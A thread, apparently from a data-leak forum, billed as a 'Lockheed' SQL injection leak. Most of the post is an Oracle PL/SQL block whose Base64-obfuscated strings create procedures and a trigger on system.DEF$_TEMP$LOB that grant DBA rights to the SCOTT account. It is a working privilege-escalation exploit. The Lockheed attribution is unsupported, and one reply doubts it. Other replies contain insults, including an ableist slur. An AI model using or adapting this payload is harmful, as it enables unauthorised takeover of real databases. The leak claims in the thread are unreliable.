[un3xpectedbandit]

LOCKHEED sqli leak 

let me make a brief explanation on what this is the Base64 scripts is were it modifies the DB schema and permissions.  when decoded you will get the sql strings.

SQLI leak: 

DECLARE

      GREZEPJ VARCHAR2(32767);

      V VARCHAR2(32767);

      N VARCHAR2(32767);

      FPDK VARCHAR2(32767);

      XUGPRM VARCHAR2(32767);

      BEGIN

      GREZEPJ := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('CiAgICAgIENSRUFURSBPUiBSRVBMQUNFIFBST0NFRFVSRSBJQQogICAgICBBVVRISUQgQ1VSUkVOVF9VU0VSIEFTCiAgICAgIFBSQUdNQSBBVVRPTk9NT1VTX1RSQU5TQUNUSU9OOwogICAgICBCRUdJTiBFWEVDVVRFIElNTUVESUFURSAnR1JBTlQgREJBIFRPIFNDT1RUJzsKICAgICAgRU5EOwogICAgICA=')));

      EXECUTE IMMEDIATE GREZEPJ;

      EXECUTE IMMEDIATE 'GRANT EXECUTE ON IA TO PUBLIC';

      V := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('CiAgICAgIENSRUFURSBPUiBSRVBMQUNFIEZVTkNUSU9OIFpVVk9BIFJFVFVSTiBudW1iZXIgQVVUSElEIENVUlJFTlRfVVNFUiBpcwogICAgICBQUkFHTUEgQVVUT05PTU9VU19UUkFOU0FDVElPTjsKICAgICAgU1RNVCBWQVJDSEFSMig0MDApOj0gJ2NyZWF0ZSBvciByZXBsYWNlIHRyaWdnZXIgc3lzdGVtLmV2aWxfdHJpZ2dlciBiZWZvcmUgaW5zZXJ0IG9uIHN5c3RlbS5ERUYkX1RFTVAkTE9CIERFQ0xBUkUgbXNnIFZBUkNIQVIyKDEwKTsKICAgICAgQkVHSU4gU0NPVFQuSUE7CiAgICAgIGVuZCBldmlsX3RyaWdnZXI7JzsKICAgICAgQkVHSU4KICAgICAgRVhFQ1VURSBJTU1FRElBVEUgU1RNVDsKICAgICAgQ09NTUlUOwogICAgICBSRVRVUk4gMTsKICAgICAgRU5EOwogICAgICA=')));

      EXECUTE IMMEDIATE V;

      EXECUTE IMMEDIATE 'GRANT EXECUTE ON ZUVOA TO PUBLIC';

      N := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('Y3JlYXRlIHRhYmxlICJPJyBhbmQgMT1TQ09UVC5aVVZPQS0tIihpZCBudW1iZXIp')));

      EXECUTE IMMEDIATE N;

      FPDK := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('ZHJvcCB0YWJsZSAiTycgYW5kIDE9U0NPVFQuWlVWT0EtLSI=')));

      EXECUTE IMMEDIATE FPDK;

      XUGPRM := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('aW5zZXJ0IGludG8gc3lzdGVtLkRFRiRfVEVNUCRMT0IgKFRFTVAkQkxPQikgVkFMVUVTICgnQUEnKQ==')));

      EXECUTE IMMEDIATE XUGPRM;

      END;

      /

      DROP FUNCTION IA;

      DROP FUNCTION ZUVOA;

PROVIDED TO YOU BY: hex0rb and root

TELE: govbandit
TEAM: hexorb
----------------
infosec

bugbounty
blackhat

[Dominatrix]

Could you format this thread any less autistic please?


Edit: this thread is so fucking useless.

[un3xpectedbandit]

Could you format this thread any less autistic please?


Edit: this thread is so fucking useless.

its not autis this is a leak of sqli leaking cmds in base64 to manipulate and get db access

[cloud35]

please put real data, it will be more convincing

[Addka72424]

Hello,

Your Thread was moved to the "Other Leaks" category as it fits better there.

Please note that the "Databases" section is only for leaked databases. Scrapes, Consumer Data, Collections of data or any other types of data should be shared in the "Other Leaks" section. The Databases section is strictly for databases which were breached and nothing else.

Threads that are also too vague (I.e. stuff titled "USA DATABASE") will be moved to Other Leaks as you didn't provide the source where the information originated from.

This message is automatically posted when a thread is moved to the Other Leaks Section. If this message seems to be a mistake, please disregard.